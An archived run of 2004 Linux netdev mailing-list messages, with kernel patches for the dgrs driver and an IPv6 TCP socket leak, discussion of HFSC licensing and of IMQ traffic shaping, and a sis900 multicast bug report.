Subject: [PATCH] More dgrs cleanup Message-Id: <20040126101040.6db9d97e.shemminger@osdl.org> In-Reply-To: <20040124070450.GN21151@parcelfarce.linux.theplanet.co.uk> References: <20040123222459.58b4413a.akpm@osdl.org> <20040124070450.GN21151@parcelfarce.linux.theplanet.co.uk> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2811 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Sat, 24 Jan 2004 07:04:50 +0000 viro@parcelfarce.linux.theplanet.co.uk wrote: > On Fri, Jan 23, 2004 at 10:24:59PM -0800, Andrew Morton wrote: > > static int __init dgrs_eisa_probe (struct device *gendev) > > { > > struct net_device *dev; > > struct eisa_device *edev = to_eisa_device(gendev); > > uint io = edev->base_addr; > > uint mem; > > uint irq; > > int rc = -ENODEV; /* Not EISA configured */ > > > > if (!request_region(io, 256, "RightSwitch")) { > > printk(KERN_ERR "%s: io 0x%3lX, which is busy.\n", dev->name, > > dev->base_addr); > > return -EBUSY; > > } > > > > `dev' is uninitialised when we do that printk. > > IIRC, dgrs patch was from Stephen. AFAICS, we want edev->base_addr instead > of dev->base_addr. Yes, that is what the eisa probe code passes in for the base address. dev->base_addr is then set in dgrs_found_device. >Fsck knows what should replace dev->name - for pci > I'd say pci_name(edev), dunno about eisa... I just kept what the original code was doing... the name doesn't matter that much. Many drivers have a problem now when they do setup before register-netdev and print error messages. For now how about this which just uses "dgrs" which is what everything else does. Al can clean it out in the next purge... --------------------------------------- # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1594 -> 1.1595 # drivers/net/dgrs.c 1.23 -> 1.24 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/26 shemminger@osdl.org 1.1595 # More cleanup. # * get rid of typedef for private data struct # * tag most of the printk's with priority # * don't print "eth%d" when name not set # * reserve resources as "dgrs" not "RightSwitch" # * avoid race in irq detect logic # -------------------------------------------- # diff -Nru a/drivers/net/dgrs.c b/drivers/net/dgrs.c --- a/drivers/net/dgrs.c Mon Jan 26 10:08:44 2004 +++ b/drivers/net/dgrs.c Mon Jan 26 10:08:44 2004 @@ -192,7 +192,7 @@ /* * Private per-board data structure (dev->priv) */ -typedef struct +struct dgrs_priv { /* * Stuff for generic ethercard I/F @@ -242,9 +242,7 @@ int nports; /* Number of physical ports (4 or 6) */ int chan; /* Channel # (1-6) for this device */ struct net_device *devtbl[6]; /* Ptrs to N device structs */ - -} DGRS_PRIV; - +}; /* * reset or un-reset the IDT processor @@ -252,7 +250,7 @@ static void proc_reset(struct net_device *dev0, int reset) { - DGRS_PRIV *priv0 = (DGRS_PRIV *) dev0->priv; + struct dgrs_priv *priv0 = dev0->priv; if (priv0->plxreg) { @@ -276,7 +274,7 @@ static int check_board_dma(struct net_device *dev0) { - DGRS_PRIV *priv0 = (DGRS_PRIV *) dev0->priv; + struct dgrs_priv *priv0 = dev0->priv; ulong x; /* @@ -357,7 +355,7 @@ { int i; ulong csr = 0; - DGRS_PRIV *priv = (DGRS_PRIV *) dev->priv; + struct dgrs_priv *priv = dev->priv; if (pciaddr) { @@ -455,7 +453,7 @@ void dgrs_rcv_frame( struct net_device *dev0, - DGRS_PRIV *priv0, + struct dgrs_priv *priv0, I596_CB *cbp ) { @@ -465,7 +463,7 @@ uchar *putp; uchar *p; struct net_device *devN; - DGRS_PRIV *privN; + struct dgrs_priv *privN; /* * Determine Nth priv and dev structure pointers @@ -481,7 +479,7 @@ */ if (devN == NULL) goto out; - privN = (DGRS_PRIV *) devN->priv; + privN = devN->priv; } else { /* Switch mode */ @@ -489,8 +487,6 @@ privN = priv0; } - if (0) printk("%s: rcv len=%ld\n", devN->name, cbp->xmit.count); - /* * Allocate a message block big enough to hold the whole frame */ @@ -694,9 +690,9 @@ static int dgrs_start_xmit(struct sk_buff *skb, struct net_device *devN) { - DGRS_PRIV *privN = (DGRS_PRIV *) devN->priv; + struct dgrs_priv *privN = devN->priv; struct net_device *dev0; - DGRS_PRIV *priv0; + struct dgrs_priv *priv0; I596_RBD *rbdp; int count; int i, len, amt; @@ -707,7 +703,7 @@ if (dgrs_nicmode) { dev0 = privN->devtbl[0]; - priv0 = (DGRS_PRIV *) dev0->priv; + priv0 = dev0->priv; } else { @@ -810,7 +806,7 @@ */ static struct net_device_stats *dgrs_get_stats( struct net_device *dev ) { - DGRS_PRIV *priv = (DGRS_PRIV *) dev->priv; + struct dgrs_priv *priv = dev->priv; return (&priv->stats); } @@ -821,7 +817,7 @@ static void dgrs_set_multicast_list( struct net_device *dev) { - DGRS_PRIV *priv = (DGRS_PRIV *) dev->priv; + struct dgrs_priv *priv = dev->priv; priv->port->is_promisc = (dev->flags & IFF_PROMISC) ? 1 : 0; } @@ -831,7 +827,7 @@ */ static int dgrs_ioctl(struct net_device *devN, struct ifreq *ifr, int cmd) { - DGRS_PRIV *privN = (DGRS_PRIV *) devN->priv; + struct dgrs_priv *privN = devN->priv; DGRS_IOCTL ioc; int i; @@ -897,7 +893,7 @@ static irqreturn_t dgrs_intr(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev0 = (struct net_device *) dev_id; - DGRS_PRIV *priv0 = (DGRS_PRIV *) dev0->priv; + struct dgrs_priv *priv0 = dev0->priv; I596_CB *cbp; int cmd; int i; @@ -987,7 +983,7 @@ static int __init dgrs_download(struct net_device *dev0) { - DGRS_PRIV *priv0 = (DGRS_PRIV *) dev0->priv; + struct dgrs_priv *priv0 = dev0->priv; int is; unsigned long i; @@ -1147,12 +1143,12 @@ int __init dgrs_probe1(struct net_device *dev) { - DGRS_PRIV *priv = (DGRS_PRIV *) dev->priv; + struct dgrs_priv *priv = dev->priv; unsigned long i; int rc; - printk("%s: Digi RightSwitch io=%lx mem=%lx irq=%d plx=%lx dma=%lx\n", - dev->name, dev->base_addr, dev->mem_start, dev->irq, + printk(KERN_INFO "dgrs: Digi RightSwitch io=%lx mem=%lx irq=%d plx=%lx dma=%lx\n", + dev->base_addr, dev->mem_start, dev->irq, priv->plxreg, priv->plxdma); /* @@ -1165,19 +1161,24 @@ /* * Get ether address of board */ - printk("%s: Ethernet address", dev->name); memcpy(dev->dev_addr, priv->port->ethaddr, 6); - for (i = 0; i < 6; ++i) - printk("%c%2.2x", i ? ':' : ' ', dev->dev_addr[i]); - printk("\n"); - if (dev->dev_addr[0] & 1) - { - printk("%s: Illegal Ethernet Address\n", dev->name); + if (dev->dev_addr[0] & 1) { + printk(KERN_ERR "dgrs: Illegal Ethernet Address"); + for (i = 0; i < 6; ++i) + printk("%c%2.2x", i ? ':' : ' ', dev->dev_addr[i]); + printk("\n"); + rc = -ENXIO; goto err_out; } + rc = request_irq(dev->irq, &dgrs_intr, SA_SHIRQ, "dgrs", dev); + if (rc) + goto err_out; + + priv->intrcnt = 0; + /* * ACK outstanding interrupts, hook the interrupt, * and verify that we are getting interrupts from the board. @@ -1185,21 +1186,17 @@ if (priv->plxreg) OUTL(dev->base_addr + PLX_LCL2PCI_DOORBELL, 1); - rc = request_irq(dev->irq, &dgrs_intr, SA_SHIRQ, "RightSwitch", dev); - if (rc) - goto err_out; - - priv->intrcnt = 0; for (i = jiffies + 2*HZ + HZ/2; time_after(i, jiffies); ) { cpu_relax(); if (priv->intrcnt >= 2) break; } + if (priv->intrcnt < 2) { - printk(KERN_ERR "%s: Not interrupting on IRQ %d (%d)\n", - dev->name, dev->irq, priv->intrcnt); + printk(KERN_ERR "dgrs%x: Not interrupting on IRQ %d (%d)\n", + dev->base_addr, dev->irq, priv->intrcnt); rc = -ENXIO; goto err_free_irq; } @@ -1222,21 +1219,6 @@ return rc; } -int __init -dgrs_initclone(struct net_device *dev) -{ - DGRS_PRIV *priv = (DGRS_PRIV *) dev->priv; - int i; - - printk("%s: Digi RightSwitch port %d ", - dev->name, priv->chan); - for (i = 0; i < 6; ++i) - printk("%c%2.2x", i ? ':' : ' ', dev->dev_addr[i]); - printk("\n"); - - return (0); -} - static struct net_device * __init dgrs_found_device( int io, @@ -1247,15 +1229,15 @@ struct device *pdev ) { - DGRS_PRIV *priv; + struct dgrs_priv *priv; struct net_device *dev; int i, ret = -ENOMEM; - dev = alloc_etherdev(sizeof(DGRS_PRIV)); + dev = alloc_etherdev(sizeof(struct dgrs_priv)); if (!dev) goto err0; - priv = (DGRS_PRIV *)dev->priv; + priv = (struct dgrs_priv *)dev->priv; dev->base_addr = io; dev->mem_start = mem; @@ -1291,9 +1273,9 @@ for (i = 1; i < priv->nports; ++i) { struct net_device *devN; - DGRS_PRIV *privN; + struct dgrs_priv *privN; /* Allocate new dev and priv structures */ - devN = alloc_etherdev(sizeof(DGRS_PRIV)); + devN = alloc_etherdev(sizeof(struct dgrs_priv)); ret = -ENOMEM; if (!devN) goto fail; @@ -1301,7 +1283,7 @@ /* Don't copy the network device structure! */ /* copy the priv structure of dev[0] */ - privN = (DGRS_PRIV *)devN->priv; + privN = (struct dgrs_priv *)devN->priv; *privN = *priv; /* ... and zero out VM areas */ @@ -1312,9 +1294,11 @@ /* ... and base MAC address off address of 1st port */ devN->dev_addr[5] += i; - ret = dgrs_initclone(devN); - if (ret) - goto fail; + printk(KERN_INFO "%s: Digi RightSwitch port %d ", + dev->name, priv->chan); + for (i = 0; i < 6; ++i) + printk("%c%2.2x", i ? ':' : ' ', dev->dev_addr[i]); + printk("\n"); SET_MODULE_OWNER(devN); SET_NETDEV_DEV(dev, pdev); @@ -1346,7 +1330,7 @@ static void __devexit dgrs_remove(struct net_device *dev) { - DGRS_PRIV *priv = dev->priv; + struct dgrs_priv *priv = dev->priv; int i; unregister_netdev(dev); @@ -1397,7 +1381,8 @@ err = pci_enable_device(pdev); if (err) return err; - err = pci_request_regions(pdev, "RightSwitch"); + + err = pci_request_regions(pdev, "dgrs"); if (err) return err; @@ -1467,8 +1452,8 @@ uint irq; int rc = -ENODEV; /* Not EISA configured */ - if (!request_region(io, 256, "RightSwitch")) { - printk(KERN_ERR "%s: io 0x%3lX, which is busy.\n", dev->name, + if (!request_region(io, 256, "dgrs")) { + printk(KERN_ERR "dgrs: io 0x%3lX, which is busy.\n", dev->base_addr); return -EBUSY; } From hadi@cyberus.ca Mon Jan 26 10:19:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 10:20:19 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QIJu7J014922 for ; Mon, 26 Jan 2004 10:19:57 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Al80m-00008B-Ay; Mon, 26 Jan 2004 09:46:48 -0500 Subject: Re: [PATCH]: altq HFSC port From: jamal Reply-To: hadi@cyberus.ca To: Patrick McHardy Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org, "David S. Miller" In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1075128375.1746.392.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 26 Jan 2004 09:46:16 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2812 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-01-26 at 07:02, Patrick McHardy wrote: > This patch is a port of HFSC from altq to Linux 2.6. HFSC is a > hierarchical packet scheduler which allows flexible resource > allocation by decoupling of bandwidth and delay. The original > version and a paper describing HFSC can be found here: > http://www-2.cs.cmu.edu/~hzhang/HFSC/main.html . [..] I think it is a good idea to have this in the kernel. Glad someone eventually got to it. > The last issue is the License: The altq version is released under a > BSD-style License without advertising clause (the original authors > kindly agreed to remove it). It is my understanding that this is > compatible with the GPL, and because the code includes some minor > amounts of GPL'ed code the correct License is GPL and not > Dual BSD/GPL. I would be glad if someone can confirm that this is > correct. > This is probably the most contentious issue (given say current SCO stoopidty). Have you talked to the original author on this? I think granting you written consent to move to GPL may be sufficient. cheers, jamal PS:- i will look at the code and give you some feedback. From davem@redhat.com Mon Jan 26 10:33:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 10:33:59 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QIXe7J016252 for ; Mon, 26 Jan 2004 10:33:45 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id KAA15007; Mon, 26 Jan 2004 10:24:29 -0800 Date: Mon, 26 Jan 2004 10:24:29 -0800 (PST) Message-Id: <20040126.102429.55841404.davem@redhat.com> To: hadi@cyberus.ca Cc: kaber@stinky.trash.net, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH]: altq HFSC port From: "David S. Miller" In-Reply-To: <1075128375.1746.392.camel@jzny.localdomain> References: <1075128375.1746.392.camel@jzny.localdomain> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2813 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: jamal Date: 26 Jan 2004 09:46:16 -0500 On Mon, 2004-01-26 at 07:02, Patrick McHardy wrote: > The last issue is the License: The altq version is released under a > BSD-style License without advertising clause (the original authors > kindly agreed to remove it). It is my understanding that this is > compatible with the GPL, and because the code includes some minor > amounts of GPL'ed code the correct License is GPL and not > Dual BSD/GPL. I would be glad if someone can confirm that this is > correct. This is probably the most contentious issue (given say current SCO stoopidty). Have you talked to the original author on this? I think granting you written consent to move to GPL may be sufficient. Yes, let's get this worked out before we stuff it into the tree :) Patrick, please ask the original author if it's OK to make your instance of the Linux port pure GPL'd. From master@tentacle.sectorb.msk.ru Mon Jan 26 10:35:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 10:35:40 -0800 (PST) Received: from tentacle.sectorb.msk.ru (postfix@tentacle.s2s.msu.ru [193.232.119.109]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QIZD7J016393 for ; Mon, 26 Jan 2004 10:35:15 -0800 Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 054E12004; Mon, 26 Jan 2004 20:41:22 +0300 (MSK) Date: Mon, 26 Jan 2004 20:41:22 +0300 From: "Vladimir B. Savkin" To: jamal Cc: netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040126174122.GB20001@usr.lcm.msu.ru> References: <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075127396.1746.370.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2814 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev On Mon, Jan 26, 2004 at 09:29:56AM -0500, jamal wrote: > > You can see for youself. Police users' traffic to half of the normal rate > > and here them scream :) Then change policing to shaping using wrr > > (or htb class for each user), and sfq on the leafs, and users are happy. > > > > ;-> Sorry I dont have time. But this could be a nice paper since > i havent seen this topic covered. If you want to write one i could > help provide you an outline. Over here every good networking engineer I have talked to knows this :) > > Well, I use wrr + sfq exactly for fairness. No such thing can be > > achieved with policing only. > > > > Thats what i was assuming. Shaping alone is insufficient as well. I don't quite understand what you mean here. Ultimately, any packet will land in some leaf qdisc, where there is a queue of some maximum size. If a sender does not reduce its rate, queue overflows, and we drop. But in my experience this rarely happens with TCP. I think that sender just see measured RTT increase and reduce its rate or shrinks its window. I don't know modern TCP implementations in detail, but I can see it works. Is this what you call "shaping alone"? If yes, then I don't agree with you here. > > > Here it is: > > > > +---------+ +-ppp0- ... - client0 > > | +-eth1-<+-ppp1- ... - client1 > > Internet ----- eth0-+ router | . . . . . . . . > > | +-eth2-< . . . . . . > > +---------+ +-pppN- ... - clientN > > > > > > Traffic flows from internet to clients. > > The ethX names are for example only, my setup is more complex actually, > > but that complexity is not related to IMQ or traffic shaping. > > Clients use PPTP or PPPoE to connect to router. > > See, there's no single interface I can attach qdisc to, if I want > > to put all clients into the same qdisc. > > > > So why cant you attach a ingress qdisc on eth1-2 and use policing to > mark excess traffic (not drop)? On eth0 all you do is based on the mark And where to drop then? > you stash them on a different class i.e move the stuff you have on > IMQ0 to eth0. > > Example on ingress: > > meter1=" police index 1 rate $CIR1" > meter1a=" police index 2 rate $PIR1" > > index 2 is shared by all flows for default. > index 1 (and others) is guaranteeing rate (20Kbps) for each of the flows > etc. > Look for example at examples/Edge32-ca-u32 > > The most important thing to know is that policers can be shared across > devices, flows etc using the "index" operator. So, it's just like IMQ, but without that Q bit, only marking? But how would I calculate guaranteed rate for a client? Suppose I have 100 clients connected, then I can only guarantee a 1/100th of the pipe to each. But if only 5 of them are active, then each can get 1/5th of the pipe. Round-robin mechanism such as wrr effectively adjusts rates in dynamic. I use two-layer hierarchy actually, by applying sfq to every wrr class, so a user can download a file and play Quake at the same time, with acceptable delays and no packet loss. At the same time, user that opens 1000 connections with some evil multithreaded downloader thing, has the same aggregate rate, but can't play Quake because of high latency. It works wonderfully. I suppose we can have a flavor of wrr that will not queue packets, only find over-active flows and mark or drop over-profile packets but 1) no such thing exist AFAIK and 2) it will not have separate queue for each user/flow, thus all flows will have same latency, only drop probabilities will differ. So, it seems to me that IMQ fits nicely when there're some artificial bandwidth limits (as opposed to bandwidth of some physical interface) and no single egress interface for all flows to be shaped. > > I just noticed you are copying linux-kernel. Please take it off the list > in your response, this is a netdev issue. This should warn anyone > interested in the thread to join netdev. > Done. ~ :wq With best regards, Vladimir Savkin. From kaber@trash.net Mon Jan 26 10:47:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 10:47:35 -0800 (PST) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QIlM7J017243 for ; Mon, 26 Jan 2004 10:47:22 -0800 Received: from port-212-202-53-237.reverse.qsc.de ([212.202.53.237] helo=gw.localnet) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1AlBkt-0007uO-00; Mon, 26 Jan 2004 19:46:39 +0100 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1AlBlB-00016Q-00; Mon, 26 Jan 2004 19:46:57 +0100 Message-ID: <401560A6.7030803@trash.net> Date: Mon, 26 Jan 2004 19:47:02 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: hadi@cyberus.ca, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH]: altq HFSC port References: <1075128375.1746.392.camel@jzny.localdomain> <20040126.102429.55841404.davem@redhat.com> In-Reply-To: <20040126.102429.55841404.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2815 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev David S. Miller wrote: > From: jamal > Date: 26 Jan 2004 09:46:16 -0500 > > On Mon, 2004-01-26 at 07:02, Patrick McHardy wrote: > > The last issue is the License: The altq version is released under a > > BSD-style License without advertising clause (the original authors > > kindly agreed to remove it). It is my understanding that this is > > compatible with the GPL, and because the code includes some minor > > amounts of GPL'ed code the correct License is GPL and not > > Dual BSD/GPL. I would be glad if someone can confirm that this is > > correct. > > This is probably the most contentious issue (given say current SCO > stoopidty). > Have you talked to the original author on this? I think granting you > written consent to move to GPL may be sufficient. > > Yes, let's get this worked out before we stuff it into the tree :) > > Patrick, please ask the original author if it's OK to make your > instance of the Linux port pure GPL'd. > This mail from Alan states that BSD without advertising clause linked with GPL ends up as GPL anyways, so I'm not sure if there is a problem. http://www.ussg.iu.edu/hypermail/linux/kernel/0110.2/0924.html I'm going to look for some more information before bothering the authors with License stuff again. Best regards, Patrick From davem@redhat.com Mon Jan 26 12:39:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 12:40:06 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QKdr7J024335 for ; Mon, 26 Jan 2004 12:39:53 -0800 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA15566; Mon, 26 Jan 2004 12:30:43 -0800 Date: Mon, 26 Jan 2004 12:30:42 -0800 (PST) Message-Id: <20040126.123042.104046496.davem@redhat.com> To: erik@hensema.net Cc: netdev@oss.sgi.com, acme@conectiva.com.br, yoshfuji@linux-ipv6.org Subject: FIX (was Re: Demonstration code on how to trigger tcp6_sock leak) From: "David S. Miller" In-Reply-To: <20040124131307.GB2666@bender.home.hensema.net> References: <20040124131307.GB2666@bender.home.hensema.net> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2816 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Ok, I've figured out the bug. Arnaldo only fixed one of the two incorrect calls to sk_add_node() which should both be __sk_add_node(). Erik give this a spin. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1520 -> 1.1521 # net/ipv6/tcp_ipv6.c 1.76 -> 1.77 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/26 davem@nuts.ninka.net 1.1521 # [IPV6]: Fix TCP socket leak, do not grab socket reference when adding to main hashes. # -------------------------------------------- # diff -Nru a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c --- a/net/ipv6/tcp_ipv6.c Mon Jan 26 12:34:20 2004 +++ b/net/ipv6/tcp_ipv6.c Mon Jan 26 12:34:20 2004 @@ -485,7 +485,7 @@ unique: BUG_TRAP(sk_unhashed(sk)); - sk_add_node(sk, &head->chain); + __sk_add_node(sk, &head->chain); sk->sk_hashent = hash; sock_prot_inc_use(sk->sk_prot); write_unlock_bh(&head->lock); From hadi@cyberus.ca Mon Jan 26 12:14:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 12:49:30 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QKEk7J020866 for ; Mon, 26 Jan 2004 12:14:47 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AkpqS-0004Mj-W6; Sun, 25 Jan 2004 14:22:57 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: Tomas Szepe Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com In-Reply-To: <20040125164431.GA31548@louise.pinerecords.com> References: <20040125152419.GA3208@penguin.localdomain> <20040125164431.GA31548@louise.pinerecords.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075058539.1747.92.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Jan 2004 14:22:19 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2817 X-Approved-By: ralf@linux-mips.org X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev There has been no real good reason as to why IMQ is needed to begin with. It may be easy to use and has been highly publized (which is always a dangerous thing in Linux). Maybe lets take a step back and see how people use it. How and why do you use IMQ? Is this because you couldnt use the ingress qdisc? Note, the abstraction to begin with is in the wrong place - it sure is an easy and nice looking hack. So is the current ingress qdisc, but we are laying that to rest with TC extensions. cheers, jamal On Sun, 2004-01-25 at 11:44, Tomas Szepe wrote: > On Jan-25 2004, Sun, 16:24 +0100 > Marcel Sebek wrote: > > > I have ported IMQ driver from 2.4 to 2.6.2-rc1. > > Original version was from http://trash.net/~kaber/imq/. > > ... > > It would definitely be nice to see IMQ merged at last. From jhf@rivenstone.net Mon Jan 26 12:42:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 12:49:59 -0800 (PST) Received: from caphernaum.rivenstone.net (dhcp160178171.columbus.rr.com [24.160.178.171]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QKgH7J024616 for ; Mon, 26 Jan 2004 12:42:17 -0800 Received: by caphernaum.rivenstone.net (Postfix, from userid 1000) id 254608FBC1; Mon, 26 Jan 2004 15:42:15 -0500 (EST) Date: Mon, 26 Jan 2004 15:42:15 -0500 To: netdev@oss.sgi.com Subject: 2.6 sis900 (and tlan?) multicast bug Message-ID: <20040126204215.GA25578@rivenstone.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="NzB8fVQJ5HfG6fxh" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: jhf@rivenstone.net (Joseph Fannin) X-archive-position: 2818 X-Approved-By: ralf@linux-mips.org X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jhf@rivenstone.net Precedence: bulk X-list: netdev --NzB8fVQJ5HfG6fxh Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable "Craig A. Huegen" wrote: > In the same vein as: > http://seclists.org/lists/linux-kernel/2003/Oct/5794.html > ...there is a bug in the SiS900 driver in 2.6.1 which prevents multicast > MAC filtering from working properly. This breaks IPv6. I'm seeing this problem too. My sis900 interface can't get an IPv6 address unless promiscious or allmulti mode is set, since it doesn't get responses on ip6-allrouters. Please note that I am not subscribed to netdev, so a CC on any responses would be appreciated. > Patch attached (same one as from the 2.4 post from Oct 28) that made > IPv6 work for me again. From the original post, referring to the change this reverts: >> This will not work for bit_nr larger than 16 and hence the failure. >> Reverting to use set_bit causes multicast to be handled properly. > --- linux/drivers/net/sis900.c.old 2004-01-17 03:56:53.893211412 -0600 > +++ linux/drivers/net/sis900.c 2004-01-17 03:57:02.785567615 -0600 > @@ -2091,9 +2091,8 @@ > rx_mode =3D RFAAB; > for (i =3D 0, mclist =3D net_dev->mc_list; mclist && i < net_dev->mc_c= ount; > i++, mclist =3D mclist->next) { > - unsigned int bit_nr =3D > - sis900_mcast_bitnr(mclist->dmi_addr, revision); > - mc_filter[bit_nr >> 4] |=3D (1 << bit_nr); > + set_bit(sis900_mcast_bitnr(mclist->dmi_addr, revision), > + mc_filter); > } > } This fix didn't go into 2.4 either, so presumably something is wrong with it (perhaps we're moving away from set_bit)? I am over my head here really, but I don't want to just set allmulti mode and forget about this bug. I'm seeing the same behavior with my Thunderlan interfaces and the tlan driver -- setting allmulti or promiscious mode fixes it (while other boxes here with 3c509 and 3c556 cards work fine with the same configuration.) I wonder, now that USAGI is in the stable kernel, how many multicast bugs like this will turn up? If anyone has any ideas where in tlan.c to begin looking, I'd be glad to hear them; I'm not completely technically inept :-). --=20 Joseph Fannin jhf@rivenstone.net "I think I said something eloquent, like 'Fuck.'" -- Rusty Russell. --NzB8fVQJ5HfG6fxh Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) 